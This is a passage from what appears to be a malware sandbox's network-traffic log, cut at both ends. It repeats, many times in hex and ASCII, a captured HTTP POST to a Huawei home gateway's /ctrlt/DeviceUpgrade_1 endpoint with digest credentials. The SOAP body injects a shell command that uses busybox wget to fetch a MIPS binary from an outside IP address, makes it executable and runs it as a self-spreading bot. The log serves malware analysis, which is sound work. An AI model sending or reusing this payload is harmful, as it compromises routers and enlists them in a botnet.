65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 156.224.24.249 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 36 2e 32 32 34 2e 32 34 2e 32 34 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox 